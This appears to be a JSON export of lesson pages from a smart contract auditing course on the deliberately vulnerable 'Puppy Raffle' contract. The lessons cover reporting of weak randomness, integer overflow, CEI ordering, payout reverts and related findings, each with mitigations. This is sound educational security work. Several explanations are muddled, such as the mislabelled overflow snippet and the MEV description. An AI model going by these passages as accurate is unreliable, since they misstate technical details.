raffle.`\n\nExplicit and enlightening, to say the least!\n\n## Show the Proof\n\nHow about we create a small proof of concept? The player enters the raffle, their index returns zero and they think they haven't entered correctly due to the function documentation. They may waste gas trying to reenter the raffle.\n\n## Navigating the Fixes\n\nNow the million dollar question: How do we fix this? We have a few possibilities at our disposal:\n\n- Revert if the player is not in the array, instead of returning zero.\n- Reserve the zero position for any void.\n- Return an int -1 if the player is not detected in the activity.\n\nAll these solutions would work well depending on the specific conditions of the protocol, and can ensure an enhanced user experience and optimized protocol efficiency.\n\n## Wrapping Up…\n\nBy addressing this single issue on the 'puppy raffle', we've only scratched the surface of smart contract auditing's complex and fascinating world. However, we hope that this post has illuminated some critical aspects of the process and demystified how auditors assess and address potential issues. Stick around for more insights!\n", + "updates": [] + }, + { + "id": "9b6aa31f-a11a-43d3-ac79-5361ac447c50", + "number": 56, + "title": "Reporting: Should Follow CEI", + "slug": "reporting-should-follow-cei", + "folderName": "56-reporting-should-follow-cei", + "description": "", + "duration": 2, + "videoUrl": "zk84OU8mvlU", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/56-reporting-should-follow-cei/+page.md", + "markdownContent": "---\ntitle: Reporting - Should Follow CEI\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Adopting Clean Code and CEI in the \"Puppy Raffle Select\" Function\n\nAnyone who's ever dealt with code understands the importance of best practices, clean structures, and simple conventions. Sometimes, we find these guidelines drift into a gray area, where adherence can be somewhat subjective or optional. However, it doesn't diminish their importance; the overall goal remains ensuring our code remains readable, maintainable, and efficient. This is precisely the case with the PuppyRaffle `selectWinner` function in our codebase, which has some room for improvement in following the Checks, Effects, Interactions (CEI) practices.\n\n## The Dilemma with Puppy Raffle Select Winner function\n\nThis discussion primarily revolves around how the function \"Puppy Raffle Select Winner\" seems to neglect some CEI practices. While the function operates as intended, its implementation could potentially conflict with the defined best practices. This doesn't necessarily impact the function's operation, but it's always fruitful to keep our code clean and properly structured.\n\n## Diving into the Code\n\nLet's take a look at how our current implementation could be improved:\n\n![](https://cdn.videotap.com/5fiDVN8c36MOJEsywdT0-39.47.png)\n\nYou'll notice some discrepancies if you compare this with standard Clean Code and CEI practices. Even though this wouldn't impact the functionality, it is considered best practice to ensure your code is always clean and follows CEI. Such subtleties can make a significant difference when it comes to the maintainability and readability of your code.\n\n> \"And this is where it gets a little bit subjective. What does it mean to keep the code clean and to follow CEI?\"\n\nNOTE: Even the perception of keeping your code clean and following CEI can vary across developers. However, in the end, it circles back to improving readability, maintainability, and efficiency.\n\nTo rectify this, let's modify the code and run a diff:\n\n```diff\n- (bool, success) = winner.call{value: prizePool}(\"\");\n- require(success, \"PuppyRaffle: Failed to send prize pool to winner.\");\n _safeMint(winner, tokenId);\n+ (bool, success) = winner.call{value: prizePool}(\"\");\n+ require(success, \"PuppyRaffle: Failed to send prize pool to winner.\");\n```\n\n![](https://cdn.videotap.com/T19Kp2sgscV3fxvFNW9I-56.73.png)\n\nAnd voila! You can now easily spot the changes made to align the implementation with CEI.\n\n## Wrapping up\n\nIn conclusion, adhering to best practices, like keeping your code clean and following CEI, is a route towards more manageable, efficient, and readable code. While occasionally you might encounter situations where these guidelines appear less crucial or even slightly subjective, there's always room to improve your code's structure and format.\n\nAs Robert C. Martin puts it:\n\n> \"Indeed, the ratio of time spent reading versus writing is well over 10 to 1. We are constantly reading old code as part of the effort to write new code. ...Therefore, making it easy to read makes it easier to write.\"\n\nImplementing these practices will not just enhance your code quality but also, subsequently, level up your coding skills.\n", + "updates": [] + }, + { + "id": "c4b25549-967f-4ff6-81b5-314786b4f966", + "number": 57, + "title": "Reporting: Weak Randomness", + "slug": "reporting-weak-randomness", + "folderName": "57-reporting-weak-randomness", + "description": "", + "duration": 6, + "videoUrl": "a8m8x4Vj1Bk", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/57-reporting-weak-randomness/+page.md", + "markdownContent": "---\ntitle: Reporting - Weak Randomness\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Auditing Randomness in Blockchain Protocols: A Deep Dive\n\nIn the world of decentralized applications and blockchain protocols, randomness plays a critical role in creating fair outcomes. Platforms relying on randomness mechanisms like lottery games tend to be prone to vulnerabilities. In this article, we'll discuss the common weaknesses related to randomness and their impact on the functionality of the protocol.\n\n## Auditing the Process of Randomness\n\n![](https://cdn.videotap.com/A0C1NmhbMJhDQtFHw3eb-29.91.png)\n\nWhile auditing a recent protocol, we encountered a significant flaw in the system: The randomness involved wasn't verifiably random. This observation led us to assess a variety of variables, namely the impact and the likelihood of this flaw affecting the protocol.\n\n> \"The impact of a non-verifiably random number in a protocol can be high. The winner could be predicted or altered, which can significantly undermine the protocol's integrity.\"\n\nThe likelihood of this happening is also high because individuals, motivated by self-interest, will likely try to exploit this vulnerability to cheat the system. Therefore, we rated the potential impact and likelihood both high, placing the issue at a high severity level.\n\n## Unearthing the Root Cause and Impact\n\n![](https://cdn.videotap.com/K1jaGIVHSOnaSRtPUtcD-99.69.png)\n\nReentrancy stood out as another significant issue we encountered during the audit. However, the primary focus of this article revolves around weak randomness, a common security flaw in many blockchain protocols.\n\nWeak randomness in 'Puppy Raffle' gives users an influencer role, allowing them to predict or alter the winner. This prediction is based on a simple susceptibility - hashing the message sender, block timestamp, and block difficulty together leads to a predictable final number. The outcome isn't truly random, providing malicious users with an opportunity to manipulate values or predict them in advance to influence the raffle results.\n\nThis vulnerability also exposes another potential threat - front running. Users clever enough to see they aren't the winner may choose to call router functions and disrupt the functionality of the protocol further.\n\n## Impact and Inaccurate Randomness\n\n![](https://cdn.videotap.com/6sKiQi1LSBNokBJRuCbW-149.53.png)\n\nThe dangers of weak randomness are magnified in scenarios where users can influence the raffle winner, thus winning the prize money or getting access to the rarest puppy. The problem amplifies when bad randomness also effects the rarity of the puppies, making the entire raffle worthless if evolved into a gas war.\n\nWe'll combine these two issues arising from inaccurate randomness - the raffle winner and the puppy rarity - into one. They have unique root causes but the same dysfunctionality resultant from the weak randomness at play.\n\n## Proof of Concept\n\nUnderstanding these vulnerabilities isn't enough. We also need to establish a concrete proof of concept:\n\n1. Validators predicting block timestamp and block difficulty can significantly manipulate their participation.\n2. Users can modify their message sender value, making their address the preferred one to determine the winner.\n3. Transactions, such as select winner, can be reverted by users if the result doesn't meet their satisfaction.\n\nIn this case, creating proof of concept would require fuzzing the message sender, manipulating it to a preferred outcome.\n\nAlso noteworthy is a common attack vector - using on-chain values as seeds for randomness. The solution requires a reform of the randomness mechanism used in the protocol.\n\n## Recommended Mitigation\n\nA cryptographically verifiable random number generator, such as [Chainlink VRF](https://docs.chain.link/docs/get-a-random-number/), could substantially mitigate such issues.\n\n## Wrapping Up\n\nThe audit, evaluation, and subsequent steps we discussed underline the essential nature of randomness in blockchain protocols. At the same time, they also highlight the need for robust mechanisms to ensure the implementation of fair and unpredictable randomness.\n\nIn the dynamic and rapidly evolving blockchain space, keeping up with security vulnerabilities, understanding them and formulating comprehensive mitigation strategies, is of utmost importance.\n", + "updates": [] + }, + { + "id": "afad0ae1-70b3-498c-af87-b23de07534ff", + "number": 58, + "title": "Reporting: Magic Numbers", + "slug": "reporting-magic-numbers", + "folderName": "58-reporting-magic-numbers", + "description": "", + "duration": 2, + "videoUrl": "KDh-jSmIOgA", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/58-reporting-magic-numbers/+page.md", + "markdownContent": "---\ntitle: Reporting - Magic Numbers\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n## Unraveling the Magic Numbers: An Informational Audit\n\nMoving on, I bumped into the mystery of _magic numbers_- a term you would be familiar with if you've had your fair share of headaches debugging code.\n\nUsing magic numbers in coding is discouraged. Not because of daunting supernatural powers they wield, but due to the confusion they bring. Seeing number literals scattered in a codebase is like seeing Latin text in a historical mystery novel: intriguing, but mostly confusing.\n\nFor those that don't know, a _magic number_ is\n\n> \"A direct usage of numeric literals (ex: 5, 100, -3) in your code that does not have any direct explanation or reasoning behind it.\"\n\nWhile auditing, here's what some typical magic numbers in a codebase look like:\n\n```js\nuint256 prizePool = (totalAmountCollected * 80 ) / 100;\nuint256 fee = (totalAmountCollected * 20) / 100;\n```\n\nTo give an idea of what it's all about, let's put it out simply:\n\n![](https://cdn.videotap.com/ivNThteq2BkoEFoA1o4y-54.71.png)\n\nIt's always more readable and also quite a bit kinder to the next person (or your future self decoding the code), if the numbers used in the code are given a meaningful name. Let's see a more appropriate way to handle these numbers:\n\n```js\nuint256 public constant PRIZE_POOL_PERCENTAGE = 80;\nuint256 public constant FEE_PERCENTAGE = 20;\nuint256 public constant POOL_PRECISION = 100;\n\nuint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;\nuint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;\n```\n\nAlthough it might result in a slightly more verbose code, but who doesn't prefer meaningful verbosity over silent ambiguity?\n\n## Summing Up\n\nSo remember, while performing an audit, you don't need to eat everything that's on your plate in one go. Prioritize what needs immediate attention and what doesn't. Being a little bit lazy in an informational, private audit like addressing balance (if you're good with the protocol) is not a big deal, as long as it doesn't harm the codebase in the long run.\n\nHowever, when it comes to magic numbers, them being informational doesn't make them less important. Always avoid unexplained constants in the code. Name your numbers, make your code readable and let the person reading your code thank you, rather than wanting to throw their computer out the window in frustration!\n", + "updates": [] + }, + { + "id": "1423bd4e-6f88-4869-8ddf-cc8d3f83720f", + "number": 59, + "title": "Reporting: Integer Overflow", + "slug": "reporting-integer-overflow", + "folderName": "59-reporting-integer-overflow", + "description": "", + "duration": 8, + "videoUrl": "u0uhp2NIhs0", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/59-reporting-integer-overflow/+page.md", + "markdownContent": "---\ntitle: Reporting - Integer Overflow\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Understanding Integer Overflow in Puppy Raffle - A Deep Dive\n\nIn the dynamic world of programming and security, an auditor's job seldom runs out of thrill. A significant part of the role involves identifying and reporting issues that have a potential to cause considerable harm in the future.\n\nIn a recent security audit, we found two major issues — **integer overflow** and **unsafe casting**. Our team dedicated a significant amount of time to understand these, and what follows is our detailed report on the audit findings.\n\n![](https://cdn.videotap.com/tTiu8L4Bi8vsuicWvE2t-27.83.png)\n\n## Issue 1: Overflow\n\nLet's jump straight into the iter details of the overflow issue.\n\n### Severity\n\nWhen we did an impact analysis, we discovered that if this specific overflow issue occurred, wealthy reserves could be lost. As any venture (or anyone, for that matter), we hate losing money. Hence, we rank the impact of this issue as \"high\".\n\nThe likelihood of this happening might be a tad bit lower, ranging between \"low\" - \"medium\". However, given our stake in wanting the protocol to thrive and rake in lots of fees, our argument would tilt the scale towards \"medium\".\n\nShould this overflow happen when the raffle is being globally used, the severity would shoot up drastically. For the sake of this report, let's assume this scenario. The inference drawn, therefore, is that this issue carries high severity.\n\n![](https://cdn.videotap.com/A4rPHxYf6JE5lHcKRsPu-92.77.png)\n\n### Root Cause\n\nThe root cause can be traced back to the **integer overflow in the Puppy Raffle**. Due to this overflow, the total fees get wiped out, which means we lose money. In older Solidity versions (prior to 0.8.0), integers are subject to **integer overflows**. An example of how this could play out can be demonstrated through the following code block. Here, we increment myVar by 1 after it has reached its maximum limit.\n\n```javascript\nmyVar = typeof myVar(64).max;\n// 'myVar' reaches limit\nmyVar = myVar + 1;\n// 'myVar' is incremented by 1 and wraps back to 0, causing overflow\n```\n\n![](https://cdn.videotap.com/VNP7SHlx2E2aTLHNFAWN-148.43.png)\n\n### Impact\n\nIn the context of our Puppy Raffle, the 'Select Winner' function is responsible for accumulating total fees for the fee address to collect later via the 'Withdraw Fees' function. But if 'total fees' overflows, the amount that the fee address could collect would be incorrect, causing fees to be permanently stuck in the contract.\n\nHere's a proof-of-concept to better understand how this could happen. Let's consider a raffle scenario with four players. If we can get 89 more players to join a new raffle, we can see the overflow playing out. The simplistic theory behind the number 89 is that the number of additional participants required to trigger an overflow in this context calculatively comes out to be 89.\n\nAfter the raffle concludes, the 'totalFees' should ideally add up correctly. However, due to the overflow, the 'totalFees' end up being far less than the actual value, which is the sum of the previous 'totalFees' and the newly added fee.\n\n#### Note:\n\n```markdown\nThis overflow is particularly critical as once these 'total fees' overflows, the balance in the contract escalates to a point where it surpasses the limits of uint64. In that event, the 'Withdraw Fees' function fails (as balance != totalFees) and the trapped fees will never be retrievable.\n```\n\n![](https://cdn.videotap.com/cDvBxAfeGdyCJqDHfe8B-250.47.png)\n\n### Mitigation\n\nWe propose the following strategies:\n\n1. Upgrade to a newer version of Solidity.\n2. Use a `uint256` type instead of `uint64` for `puppyRaffle` total fees.\n3. Utilize the SafeMath library of OpenZepplin for Solidity v0.7.6.\n4. Remove the balance check from `puppyRaffle` withdraw fees function.\n\nAn example mitigation strategy would be:\n\n```diff\n- totalFees = totalFees + uint64(fee); // The line to be removed\n+ totalFees = totalFees.add(fee); // After mitigation using OpenZepplin's SafeMath library\n```\n\n## Issue 2: Unsafe Cast\n\nThe second issue that was uncovered in the audit was an unsafe cast.The details of this issue have been built into another report as the problem is closely related to the overflow problem described in this report.\n\nIn a nutshell, we now have a better understanding and a mitigation plan for the overflow issue in the Puppy Raffle, addressing an integral issue we had discovered in the audit. Such audits, though complex, provide a platform to demonstrate the real value an auditor brings — ensuring the robustness of systems and detecting vulnerabilities before hitches can occur.\n\nWell, that brings us to the end of our auditing adventures for this time. This was an interesting dive into the pit of overflow and casting vulnerabilities in the Puppy Raffle code, wasn't it?\n\nStay tuned for more such technical adventures.\n\n![](https://cdn.videotap.com/aUhVkP3XVtdb20yd5YkC-426.72.png)\n", + "updates": [] + }, + { + "id": "de5044e6-06ff-4e3c-b117-292bf5babb9b", + "number": 60, + "title": "Reporting: Smart Contract Wallet Reverts Winning", + "slug": "reporting-smart-contract-wallet-reverts-winning", + "folderName": "60-reporting-smart-contract-wallet-reverts-winning", + "description": "", + "duration": 5, + "videoUrl": "YdrTAjzHSjM", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/60-reporting-smart-contract-wallet-reverts-winning/+page.md", + "markdownContent": "---\ntitle: Reporting - Smart Contract Wallet Reverts Winning\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n## Understanding The Issue\n\nWhen it comes to the risky and uncertain world of audits, people can often revert the transaction until they achieve a win. Yes, you got it right. We discussed this topic lightly in our previous talks about randomness; they can be seen as two contrasting findings merged into one.\n\nAn intriguing part to note here is that the winner might not get the money if their fallback is messed up. You're thinking the right way if you consider it as a finding; because it most definitely is one!\n\n## The Impact: Medium\n\nLet's delve into the impact of this scenario. Suppose someone wins the lottery but has no fallback function. Or worse, if the winner is a smart contract and they forget to add a fallback or receive function. In such cases, that transaction would simply revert, which is obviously not the end of the world.\n\nHowever, another person could simply enter and win the lottery. Although this might seem like a simple solution, it could potentially waste a lot of gas. What if most people who entered the lottery were all using smart contract wallets? The process of selecting a winner could possibly take an excruciatingly long amount of time.\n\n#### Breaking Down the Impacts\n\nThe situation becomes dire when we consider the instances when manipulations for the winner selection come into play. This issue could seriously hamper the functionality of the protocol leading to a significantly hard start to a new lottery game. The reversion due to all the smart contract wallets makes the situation worse.\n\nThis slightly expensive process isn't easy to deal with, mainly because it needs a lot of users who aren't aware of this problem. So, we can safely classify this impact magnitude as medium.\n\nIn essence:\n\n> The function, intended to reset the lottery, could revert multiple times thereby making the reset of a lottery a challenging task. This situation could lead to a severe disruption in functionality. Moreover, winners would end up not receiving their payout, and their money could be taken by someone else.\n\n## Detailed Write-up\n\nFor those looking for a quick way to understand all that's happening, this write-up is here to help. We have classified this finding as a 'medium-impact' issue.\n\nThe major problem occurs when smart contract wallet raffle winners without a receive or fallback function block the start of a new contest. This problem arises if the winner, who happens to be a smart contract wallet, rejects payment. This situation can lead to the lottery not restarting.\n\nHowever, users can easily call the winner function again, and non-wallet entrants could still enter. But it could increase the cost significantly due to the duplicate check, and consequently, resetting the lottery becomes a challenging task.\n\n## Proposed Mitigation Techniques\n\nThough this situation sounds bleak, there are ways in which this issue can be mitigated. For instance, the protocol could avoid smart contract wallet entrants. That said, this isn't recommended because, for instance, we would still want multisigs to be compatible with the protocol.\n\nA plausible recommendation here would be to create a map of addresses to payout amounts, enabling winners to pullout the funds themselves with a new 'claim prize' function. Essentially, we are shifting the responsibility of claiming the prize to the winner, a method referred as 'pull over push'.\n\nThis method is particularly efficient and considered as a best practice. By pulling their money out, users avoid any issues that arise from money being pushed to them, such as reversion.\n\nThis audit discovery has been an intriguing journey, one that has strengthened our understanding of blockchain verification and smart contracts. Stay tuned for more!\n", + "updates": [] + }, + { + "id": "24ea49ec-c15f-46d4-8f90-6830938e381d", + "number": 61, + "title": "Reporting: Mishandling Of ETH", + "slug": "reporting-mishandling-of-eth", + "folderName": "61-reporting-mishandling-of-eth", + "description": "", + "duration": 2, + "videoUrl": "2LyvvOxGqKI", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/61-reporting-mishandling-of-eth/+page.md", + "markdownContent": "---\ntitle: Reporting - Mishandling of Eth\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Extracting Value in Smart Contracts: MEV, Mismanagement, and Griefing\n\nHey, there! Have you ever wondered about some nuisances involved when interacting with smart contracts, like Miner Extractable Value (MEV), mishandling of ETH, or griefing attacks? Well, you're in the right spot! In this blog, we'll explore these issues, which even though we've touched on already, warrant a deeper dive. Disclaimer: This post won't be a comprehensive guide on MEV, as that's a topic for another time.\n\n![](https://cdn.videotap.com/NqCVyQXfwU8fKONZhudq-4.23.png)\n\n## Miner Extractable Value (MEV): A Brief Introduction\n\nFirst off, we need to understand that well-engineered smart contracts have provision for fees. These fees act as incentives for miners to prioritize transactions. But in scenarios where users compete for these fees, it gets trickier. Fees withdrawal can become challenging if there are active players. This is what we refer to as _Miner Extractable Value (MEV)_. It means that miners can choose transactions based on the fees they might earn from them, giving them significant power.\n\n```markdown\nNote: I'll provide a thorough write-up on MEV in a future post. So, stay tuned!\n```\n\n## ETH Mishandling: Unintended Barriers\n\nNext, let's talk about ETH mishandling that often stems from imperfectly written smart contracts. Imagine a line of code in a smart contract that creates needless complications. We've got an example here to demonstrate what we mean.\n\nIn an (admittedly poor) implementation of a raffle system, if someone calls `enterRaffle`, a certain amount of ETH gets locked. The issue arises when the contract checks for exact equality; if the values aren't directly equal, the function will fail, making it incredibly hard for this person to withdraw fees.\n\nClearly, this makes for terrible user experience, as well as poor contract design. It's a glaring example of a line that needs to be pulled out to enhance the contract's reliability and usability.\n\n## Griefing Attacks: Watch Out!\n\nUsers could also just be jerks and not let you withdraw your money. Just instantly enter the raffle every time a new raffle starts, right? That would suck. And you'd never be able to get your money out. So uncool.\n\nAll these issues become painfully obvious when thoroughly auditing a smart contract and with practice you'll get better at spotting them.\n\n![](https://cdn.videotap.com/Zw8G2tXiZWXa0p4wmsR7-67.66.png)\n\n## Wrapping Up\n\nThere you have it! A quick tour through some common problems you might encounter when working with smart contracts. Yes, the rabbit hole goes a lot deeper, but we've covered some good ground here. Keep the conversation going and share your experiences in the comments! Remember, we're in this together — let's turn those bug-infested lines of code into flawless protocols.\n\nAnd don't forget, I'm prepping a dedicated MEV post — watch out for it soon. Thanks for reading!\n", + "updates": [] + }, + { + "id": "9fd225bc-0235-4198-9c75-dfa5996e307d", + "number": 62, + "title": "Reporting: Missing Events And Remove Dead Code", + "slug": "reporting-missing-events-and-remove-dead-code", + "folderName": "62-reporting-missing-events-and-remove-dead-code", + "description": "", + "duration": 2, + "videoUrl": "IBlx6kEs5AA", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/62-reporting-missing-events-and-remove-dead-code/+page.md", + "markdownContent": "---\ntitle: Reporting - Missing Events And Remove Dead Code\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n## Highlighting Missed Events\n\n![](https://cdn.videotap.com/zp5mNIar5lB4Y3OaVHnR-8.png)\n\nWhen implementing state change in a code framework, it's absolutely necessary to emit appropriate events for accurate tracking. However, there are instances when this isn't done, leading to missed events.\n\n```markdown\nI6: State changes are missing events\n```\n\nA plethora of tools are available in the bustling code-tools market that can help us keep track of these events. Yet, sometimes, they slip through the cracks.\n\n![](https://cdn.videotap.com/GMx8kM6vB9arnwQhLFYV-20.png)\n\n> \"Anytime you change the state, you really want to emit an event.\" - A friendly piece of advice from any competent code auditor.\n\n## Indices and their Mysterious Absence\n\nRenowned programming expert, Darren In, also sparked an interesting conversation about the absence of index fields for events. This could potentially be a significant point to include in our audit report.\n\n```markdown\nI6(a): Events are missing index fields\n```\n\nThese findings, along with meticulous details, are included in the comprehensive audit report located in our trusty GitHub repository.\n\n![](https://cdn.videotap.com/W1YshpXSv8o0UmmhuNi1-38.png)\n\nThough I won't be jotting down the specifics about this finding in this blog, I ensure you that it's well-detailed in the report.\n\n## The Ghost Code\n\nNow, we move onto a curious scenario. We stumble across a function called `isActivePlayer` only to discover it’s just sitting idly in our code - not being used at all. This infamous phenomenon, dear readers, is referred to as \"dead code\".\n\nIt’s like a phantom, haunting our codebase, and it can be effortlessly picked up by popular code-analysis tools. One we found effective was `Slither`.\n\n```markdown\nI7: Function “isActivePlayer” is never used and should be removed.\n```\n\nYou may have been deceived into thinking that dead code is harmless, but, in fact, it can affect computational performance by causing wastage of resources or increasing execution time. Hence, dead code can impact gas optimization in blockchain applications, or be just an informational note that triggers an urge to tidy up the code.\n\n![](https://cdn.videotap.com/Q7TwomNJdyWc4hcSJeU1-54.png)\n\nI'll let you in on an insider tip - explaining what impact our ghost code might have on our overall framework reinstates the necessity and urgency of removing it.\n\n## Parting Words\n\nOur journey through this maze of debugging might have been a rollercoaster ride or a walk in the park - I guess we'll never know until we adventure again!\n\nBut that's the beauty of debugging, isn't it? It constantly keeps us on our toes, helping us uncover hidden doors to knowledge. Until next time, happy coding!\n", + "updates": [] + }, + { + "id": "8c41603b-156e-45b6-b603-b16525403bdf", + "number": 63, + "title": "Adding The Audit To Our Portfolio", + "slug": "adding-the-audit-to-our-portfolio", + "folderName": "63-adding-the-audit-to-our-portfolio", + "description": "", + "duration": 6, + "videoUrl": "WHv5aiE05Eo", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/63-adding-the-audit-to-our-portfolio/+page.md", + "markdownContent": "---\ntitle: Adding The Audit To Our Portfolio\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Turning Your Audit Writeup to a PDF: A Guide\n\nIn our last session, we journeyed through the process of auditing, identifying issues and documenting them in a simple writeup. But now, we're not just done yet, we are going to elevate the sophistication of this documentation by making it a professional looking audit report. So, why don't we take that writeup, turn it into a PDF, and then pop it in our portfolio for the world to see? Let's dive in!\n\n## Preparation Steps\n\nFirstly, in case you want to add more detail or want to write up some of the issues I glossed over, navigate to the audit data branch, go into the audit data folder, and add in your missing pieces. You can test your writing skills there.\n\n![](https://cdn.videotap.com/rGjBIrugIYzuJVsGkbGc-45.29.png)\n\nMoving on, navigate to our audit data folder. Now, we are going to fetch and add some components to our report like the PDF logo. You can also use the Cyfrin logo (just copy paste it into your own files) or you can add whatever image you deem fit.\n\nYour findings are to be added to a Markdown file like `report.md`. If unsure about structure, refer to an example Markdown file.\n\n![](https://cdn.videotap.com/bsXkFfHK0gAQJNqbyNYr-79.26.png)\n\n## Creating the Markdown File\n\nNext, grab the whole thing and paste it into a new file named `reportformatted.md`. Modify the placeholder fields to fit your data (for example, change the date to November 1, 2023), the packages field, the auditors, etc.\n\nFor fields like the 'Protocol Summary' and 'Audit Details', feel free to copy information from the README file or from actual data in the original audit data branch.\n\nFor the 'Executive Summary' field, here's a chance to experience a bit of fun. Write something engaging yet professional such as, _I loved auditing this. Brilliant code base. It was fascinating to decipher Patrick's intentionally arcane code!_\n\n## Compiling the Data\n\nWhen done, it's time to fill in the 'Issues Found' field. Here's a little trick: Go back to your findings and count the different types of issues categorized based on severity - high, medium, low - and type - gas issues, info issues, etc.\n\n![](https://cdn.videotap.com/XsF2knmP2jeZvg1FuKHO-158.52.png)\n\nFor instance, if you found three high, three medium, one low, seven info, and two gas issues, these amounts to a total of 16 findings. Interestingly, in an actual audit environment, this is greatly impressive.\n\n## Formatting the Document\n\nContinue by ensuring your issues are properly formatted in your Markdown file. Now, your document should look ready and well outlined, albeit sprinkled with some odd pandoc characters.\n\nFinally, we're going into the README to add our findings. Make sure you have the `pandoc` and `Logopedia` packages installed. To compile your markdown document into a sleek PDF, run this command in your audit data folder:\n\n```bash\npandoc report_formatted.md -o report.pdf --from markdown --template=eismogel --listings\n```\n\n![](https://cdn.videotap.com/0ZjWWIEWR93EgxbPKJGG-237.77.png)\n\nRunning this should generate a beautiful looking PDF with all the valuable findings from the audit effort.\n\n## Showcasing Your Work\n\nAt this point, you can marvel at your work and offer yourself some well-deserved congratulations. What next? Time to showcase this piece. Navigate to your GitHub profile, grab the file, add that PDF and the Markdown file to your profile.\n\nThe beauty and professionalism of an audit report exhibit your skill and finesse to potential clients or employers. So, building a portfolio on GitHub, like large audit firms do, increases your visibility and proves that your expertise is no fluke.\n\n> In the world of auditing, reports are regarded as trophies. They serve as a testament to your experience and expertise. So, always remember to display them proudly.\n\n![](https://cdn.videotap.com/2Pk62x098E14kLH3rsap-328.35.png)\n\nTo wrap up, this guide has shown you how to take your simple writeup and turn it into an impressive audit report in the form of a well-structured PDF. Congratulations on this milestone! You've done phenomenal work and you're one step closer to becoming a seasoned auditor. Remember this is your portfolio, so call it as you wish and don't be shy to show off your accomplishments. After all, the world is waiting to see them!\n", + "updates": [] + }, + { + "id": "a94fec74-bad9-491f-bf90-8e96ceeb6f83", + "number": 64, + "title": "Exercises", + "slug": "exercises", + "folderName": "64-exercises", + "description": "", + "duration": 5, + "videoUrl": "rhg5N8zjkFw", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/64-exercises/+page.md", + "markdownContent": "---\ntitle: Exercises\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Harnessing the Power of Protocol Auditing and Security: A Deep Dive\n\nIn the vast, ever-expanding universe of Web3, auditing and security are two paramount pillars that reinforce the strength and dependability of our digital arena. It's an extensive journey and, yes, it may involve a lot of moving parts. But remember, while you may find it overwhelming at times, your heroic efforts in protocol auditing are protecting the glorious realm of Web3 from malicious attackers.\n\nIn today's post, we'll dig deeper into the world of codebase auditing, explore classic exploits, and guide you through some exercises that can help bolster your skills. So grab your gear, and maybe a double scoop ice cream for the ride, because we're diving in!\n\n![](https://cdn.videotap.com/JkvEJbq7u3RlIes0Sb61-20.74.png)\n\n## Training Grounds: Exploits Minimized Git Repository\n\nTo hone your skills, you must first be appropriately trained, and what better place to begin than the `exploits minimized git repo`?\n\nThe repository offers a treasure trove of coding examples, challenges, and exploits, such as reentrancy, mishandling of ETH, weak randomness access controls, and much more. If you need a sandbox to play around and experiment, Remix is embedded into the repository for your convenience. This extensive library of exploits will help you familiarize yourself with the intricacies of potential vulnerabilities and enable you to secure your code better.\n\nYou can find a link to [`Remix`](https://remix.ethereum.org/).\n\n### Ethernaut: Codebase Challenges Levelled Up\n\nIf you enjoy the thrill of gamification, Ethernaut offers an exciting alternative to practice your skills. Although it requires a decent understanding of JavaScript, the platform builds a compelling and engaging structure around learning exploits.\n\n![](https://cdn.videotap.com/pcyARKhhtGvEJQvH4MaI-69.14.png)\n\nThe game hosts a diverse catalog of codebase challenges and allows you to practice different exploits in an interactive way. Considering starting with 'Hello Ether' to get the hang of the platform's interaction. However, if JavaScript is not your forte, you can still interact with the contracts on Etherscan or Forge.\n\nYou can access `ethernaut` [here](https://ethernaut.openzeppelin.com/).\n\n### Damn Vulnerable DeFi: Real-life Challenges\n\nA step-up from Ethernaut, the damn vulnerable DeFi (DvDeFi) platform, hosts a selection of real-world DeFi-related challenges, that simulate possible vulnerabilities in DeFi protocols.\n\n![](https://cdn.videotap.com/Z24KmWHF5WMJZtrT8KiH-103.71.png)\n\nThough these challenges may be more complex than Ethernaut's, they offer an invaluable perspective into scenario-based exploits and understanding how to shield against them. Each challenge's context and contracts are explicitly provided, which you can either execute directly on Hardhat or copy-paste into Forge and try to crack.\n\nAccess `Damn Vulnerable DeFi` [here](https://www.damnvulnerabledefi.xyz/).\n\n> \"DvDeFi challenges replicate real-world security scenarios, granting you a near-authentic experience of interacting with and fortifying protocol vulnerabilities.\"\n\n### Case Studies: Learning from Real-world Attacks\n\nFor a comprehensive understanding of how these exploits take place, we can learn a ton by studying examples of real-world attacks. A curated list of reentrancy attacks, compiled by Pascal, provides a deep dive into various case studies and how these incidents unfolded in reality.\n\nAccess the `Case Studies` [here](https://github.com/pcaversaccio/reentrancy-attacks).\n\n## In Closing\n\nWith your newfound tools and knowledge, it's time to dive in and start practicing. Good luck, ethernauts, and remember, the digital realm you protect is entirely worth your dedication and effort.\n", + "updates": [] + }, + { + "id": "245558bd-9ab1-4fb1-a429-07d8623e5d3c", + "number": 65, + "title": "Solodit", + "slug": "solodit", + "folderName": "65-solodit", + "description": "", + "duration": 3, + "videoUrl": "kYJbU8dIQFs", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/65-solodit/+page.md", + "markdownContent": "---\ntitle: Solodit\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Level Up Your Security Game with Solodit\n\nAnybody who aims to excel in competitive audits and enhance their grasp of Web3 security should pay attention. The secret tool you need to get an edge? It's called Solodit, a phenomenal hub that collates all security reports in one place. Whether you're a budding researcher or a seasoned auditor, Solodit can help you stay on top of your game.\n\n![](https://cdn.videotap.com/9jUjFBlxSuhDXx6ob1Uv-17.43.png)\n\n## Solodit: Knowing the Powerhouse\n\nLet's understand what makes Solodit a favorite tool for top competitive auditors. Picture this: Hans Friese, the top auditor for the first half of 2023, amassing an impressive figure of approximately $130 million. How did he reach this level of expertise? His winning strategy was to learn from other auditors and their reports. He used Solodit to expand his 